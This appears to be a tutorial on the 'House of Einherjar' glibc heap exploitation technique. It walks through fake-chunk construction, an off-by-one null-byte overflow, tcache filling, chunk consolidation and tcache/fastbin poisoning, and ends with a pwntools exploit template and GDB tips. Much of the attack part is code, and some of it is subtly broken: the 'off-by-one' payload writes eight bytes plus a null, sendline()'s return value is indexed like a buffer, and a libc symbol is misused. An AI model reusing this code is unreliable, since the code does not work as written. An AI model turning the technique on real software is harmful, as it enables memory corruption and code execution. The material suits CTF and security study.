House of Einherjar Exploitation
A heap exploitation technique that allows allocating memory at almost any specific address by manipulating glibc's malloc allocator.
When to Use This
Use this technique when you have:
- An off-by-one overflow (specifically with null byte) from one chunk to the next
- A heap leak to discover chunk addresses
- Need to allocate at an arbitrary address (e.g., to overwrite function pointers, GOT entries, or achieve arbitrary write)
Core Concept
The attack creates a fake chunk that tricks malloc into thinking it's a valid free chunk, then uses consolidation to merge it with a real chunk, creating an overlapping chunk situation that enables arbitrary allocation.
Prerequisites
- Off-by-one overflow with null byte capability
- Heap leak to discover chunk addresses (required for fake chunk construction)
- glibc 2.30+ with tcache enabled (or 2.26-2.29 with fastbin)
Attack Setup
Chunk Layout
┌─────────────────────────────────────────────────────────────┐
│ Chunk A (fake) - controlled by attacker │
│ fd → points to itself (bypass sanity checks) │
│ bk → points to itself │
│ size → matches prev_size of Chunk B │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk B - overflow target │
│ [overflowable data] │
│ size → normal size │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk C - consolidation target │
│ [normal data] │
│ size → normal size │
└─────────────────────────────────────────────────────────────┘
Step-by-Step Attack
Phase 1: Create Fake Chunk
- Allocate Chunk A (attacker-controlled)
- Write fake chunk metadata inside Chunk A:
fdpointer → points to Chunk A itselfbkpointer → points to Chunk A itselfsize→ will be set in Phase 2
# Example: Create fake chunk in Chunk A
fake_chunk_addr = chunk_a_addr + offset_to_fake_metadata
fake_chunk = p64(fake_chunk_addr) # fd
fake_chunk += p64(fake_chunk_addr) # bk
fake_chunk += p64(fake_size) # size (will match prev_size)
Phase 2: Prepare Consolidation
- Allocate Chunks B and C after Chunk A
- Trigger off-by-one overflow in Chunk B:
- Overwrite the null byte at end of Chunk B
- This clears the
PREV_INUSEbit in Chunk C's header - Overwrite
prev_sizewith:chunk_c_addr - fake_chunk_addr
# Calculate prev_size for off-by-one
prev_size = chunk_c_addr - fake_chunk_addr
# Overflow Chunk B to set prev_size
overflow_data = b'A' * (chunk_b_size - 1) # Fill to null byte
overflow_data += p64(prev_size) # Overwrite prev_size
overflow_data += b'\x00' # The null byte overflow
Critical: The prev_size written here must match the size field in the fake chunk A.
Phase 3: Fill Tcache
- Fill tcache by allocating and freeing chunks (typically 7 times for tcache limit)
- This ensures Chunk C goes to unsorted bin when freed, not tcache
# Fill tcache (7 iterations for glibc 2.30+)
for i in range(7):
alloc_chunk()
free_chunk()
Phase 4: Trigger Consolidation
- Free Chunk C
- malloc will consolidate Chunk C with the fake Chunk A (because PREV_INUSE is cleared)
- This creates a merged chunk starting at fake Chunk A's address
free(chunk_c)
# Now fake_chunk + chunk_c are merged
Phase 5: Create Overlapping Chunk
- Allocate Chunk D - this will start at fake Chunk A's address and cover Chunk B
- Chunk D now overlaps with Chunk B, giving you control over Chunk B's metadata
chunk_d = malloc(fake_chunk_size + chunk_c_size)
# chunk_d starts at fake_chunk_addr and covers chunk_b
Phase 6: Arbitrary Allocation (Optional Extension)
Now you can extend this with fast bin attack or tcache poisoning:
- Free Chunk B (now controlled via Chunk D overlap)
- Overwrite Chunk B's fd pointer to point to target address
- Allocate twice - second allocation returns target address
# Overwrite fd pointer via Chunk D overlap
chunk_d[fd_offset] = p64(target_address)
free(chunk_b) # Goes to fastbin/tcache with poisoned fd
malloc() # Dummy allocation
chunk_at_target = malloc() # Returns target_address!
Common Pitfalls
| Issue | Solution |
|---|---|
prev_size doesn't match fake chunk size |
Ensure both are identical |
| Tcache not filled | Free 7 chunks before freeing Chunk C |
| Alignment issues | Ensure fake chunk address is 16-byte aligned |
| Size sanity checks fail | Fake chunk size must be valid (aligned, not too small) |
| Heap leak not available | Find alternative leak (unsorted bin, double free, etc.) |
Example Exploit Template
from pwn import *
# Setup
context.arch = 'amd64'
context.os = 'linux'
# Get heap leak (required)
heap_addr = get_heap_leak()
# Calculate addresses
chunk_a = heap_addr + 0x20
chunk_b = chunk_a + 0x30
chunk_c = chunk_b + 0x30
fake_chunk = chunk_a + 0x10 # Inside chunk A
# Phase 1: Create fake chunk
sendline(b'A' * 0x10 + p64(fake_chunk) + p64(fake_chunk) + p64(0x20))
# Phase 2: Off-by-one overflow
prev_size = chunk_c - fake_chunk
sendline(b'B' * 0x2f + p64(prev_size) + b'\x00')
# Phase 3: Fill tcache
for _ in range(7):
sendline(b'X' * 0x20)
sendline(b'free')
# Phase 4: Free C to consolidate
sendline(b'C' * 0x20)
sendline(b'free')
# Phase 5: Allocate D (overlapping)
chunk_d = sendline(b'D' * 0x50)
# Phase 6: Poison and allocate at target
target = libc.sym['system'].address
chunk_d[0x10] = p64(target) # Overwrite fd
sendline(b'free')
sendline(b'alloc') # dummy
shell = sendline(b'alloc') # at target!
References
Related Techniques
- House of Force - Overwrite top chunk for arbitrary allocation
- Unsorted Bin Attack - Similar consolidation technique
- Tcache Poisoning - Poison tcache fd pointers
- Fastbin Attack - Poison fastbin fd pointers
Debugging Tips
Use GDB with heap visualization:
gdb ./binary (gdb) heap analyze (gdb) x/20gx 0x[chunk_address]Check chunk metadata:
size & 0x1= PREV_INUSE flagsize & 0x2= IS_MMAPPED flagsize & 0x4= NON_MAIN_ARENA flag
Verify consolidation:
- After freeing Chunk C, check if fake chunk was merged
- Look for enlarged chunk size in heap dump